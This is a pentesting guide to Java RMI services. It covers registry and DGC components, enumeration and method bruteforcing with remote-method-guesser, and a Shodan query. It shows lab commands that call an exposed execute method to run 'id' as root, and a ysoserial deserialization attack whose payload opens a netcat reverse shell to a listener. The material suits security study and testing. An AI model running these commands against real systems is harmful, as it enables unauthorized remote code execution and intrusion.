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# 1098/1099/1050 - Pentesting Java RMI
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## Basic Information
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*Java Remote Method Invocation*, or *Java RMI* , is an object oriented *RPC* mechanism that allows an object
located in one *Java virtual machine* to call methods on an object located in another *Java virtual machine* .
This enables developers to write distributed applications using an object-oriented paradigm. A short introduction
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to *Java RMI* from an offensive perspective can be found in [this blackhat talk ](https://youtu.be/t_aw1mDNhzI?t=202 ).
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**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
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```text
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PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
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```
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Usually, only the default *Java RMI* components (the *RMI Registry* and the *Activation System* ) are bound to
common ports. The *remote objects* that implement the actual *RMI* application are usually bound to random ports
as shown in the output above.
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*nmap* has sometimes troubles identifying *SSL* protected *RMI* services. If you encounter an unknown ssl service on
a common *RMI* port, you should further investigate.
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## RMI Components
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To put it in simple terms, *Java RMI* allows a developer to make a *Java object* available on the network. This opens
up a *TCP* port where clients can connect and call methods on the corresponding object. Despite this sounds simple,
there are several challenges that *Java RMI* needs to solve:
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1. To dispatch a method call via *Java RMI* , clients need to know the IP address, the listening port, the implemented
class or interface and the ``ObjID`` of the targeted object (the ``ObjID`` is a unique and random identifier that
is created when the object is made available on the network. It is required because *Java RMI* allows multiple
objects to listen on the same *TCP* port).
2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The *Java virtual
machine* needs to track which of these resources are still in use and which of them can be garbage collected.
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The first challenge is solved by the *RMI registry* , which is basically a naming service for *Java RMI* . The *RMI
registry* itself is also an *RMI service* , but the implemented interface and the ``ObjID`` are fixed and known by
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all *RMI* clients. This allows *RMI* clients to consume the *RMI* registry just by knowing the corresponding *TCP*
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port.
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When developers want to make their *Java objects* available within the network, they usually bind them to an *RMI registry* .
The *registry* stores all information required to connect to the object (IP address, listening port, implemented class or
interface and the ``ObjID`` value) and makes it available under a human readable name (the *bound name* ). Clients that want
to consume the *RMI service* ask the *RMI registry* for the corresponding *bound name* and the registry returns all required
information to connect. Thus, the situation is basically the same as with an ordinary *DNS* service. The following listing
shows a small example:
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```java
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import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
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public class ExampleClient {
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public static void main(String[] args) {
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try {
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Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the registry
RemoteService ref = (RemoteService)registry.lookup("remote-service"); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a method on the remote object
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} catch( Exception e) {
e.printStackTrace();
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}
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}
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}
```
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The second of the above mentioned challenges is solved by the *Distributed Garbage Collector* (*DGC*). This is another
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*RMI service* with a well known ``ObjID`` value and it is available on basically each *RMI endpoint* . When an *RMI client*
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starts to use an *RMI service* , it sends an information to the *DGC* that the corresponding *remote object* is in use.
The *DGC* can then track the reference count and is able to cleanup unused objects.
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Together with the deprecated *Activation System* , these are the three default components of *Java RMI* :
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1. The *RMI Registry* (``ObjID = 0``)
2. The *Activation System* (``ObjID = 1``)
3. The *Distributed Garbage Collector* (``ObjID = 2``)
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The default components of *Java RMI* have been known attack vectors for quite some time and multiple vulnerabilities
exist in outdated *Java* versions. From an attacker perspective, these default components are interisting, because
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they implemented known classes / interfaces and it is easily possible to interact with them.
This situation is different for custom *RMI services* . To call a method on a *remote object* , you need to know the corresponding
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method signature in advance. Without knowing an existing method signature, there is no way to communicate to a *RMI service* .
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## RMI Enumeration
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[remote-method-guesser ](https://github.com/qtc-de/remote-method-guesser ) is a *Java RMI* vulnerability scanner that is capable
of identifying common *RMI vulnerabilities* automatically. Whenever you identify an *RMI* endpoint, you should give it a try:
```console
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
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```
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The output of the enumeration action is explained in more detail in the [documentation pages ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action )
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of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
The ``ObjID`` values displayed by *remote-method-guesser* can be used to determine the uptime of the service.
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This may allows to identify other vulnerabilities:
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```console
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
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```
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## Bruteforcing Remote Methods
Even when no vulnerabilities have been identified during enumeration, the available *RMI* services
could still expose dangerous functions. Furthermore, despite *RMI* communication to *RMI* default
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components is protected by deserialization filters, when talking to custom *RMI* services, such filters are
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usually not in place. Knowing valid method signatures on *RMI* services is therefore valuable.
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Unfortunately, *Java RMI* does not support enumerating methods on *remote objects* . That being said,
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it is possible to bruteforce method signatures with tools like [remote-method-guesser ](https://github.com/qtc-de/remote-method-guesser )
or [rmiscout ](https://github.com/BishopFox/rmiscout ):
```console
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
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```
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Identified methods can be called like this:
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```console
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
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```
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Or you can perform deserialization attacks like this:
```console
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
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```
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More information can be found in these articles:
* [Attacking Java RMI services after JEP 290 ](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/ )
* [Method Guessing ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md )
* [remote-method-guesser ](https://github.com/qtc-de/remote-method-guesser )
* [rmiscout ](https://bishopfox.com/blog/rmiscout )
Apart from guessing, you should also look in search engines or *GitHub* for the interface or even the
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implementation of an encountered *RMI* service. The *bound name* and the name of the implemented class or interface
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can be helpful here.
## Known Interfaces
[remote-method-guesser ](https://github.com/qtc-de/remote-method-guesser ) marks classes or interfaces as ``known`` if they
are listed in the tool's internal database of known *RMI services* . In these cases you can use the ``known`` action to get
more information on the corresponding *RMI service* :
```console
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
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```
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## Shodan
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* `port:1099 java`
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## Tools
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* [remote-method-guesser ](https://github.com/qtc-de/remote-method-guesser )
* [rmiscout ](https://github.com/BishopFox/rmiscout )
* [BaRMIe ](https://github.com/NickstaDB/BaRMIe )
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## HackTricks Automatic Commands
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```text
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Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
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```
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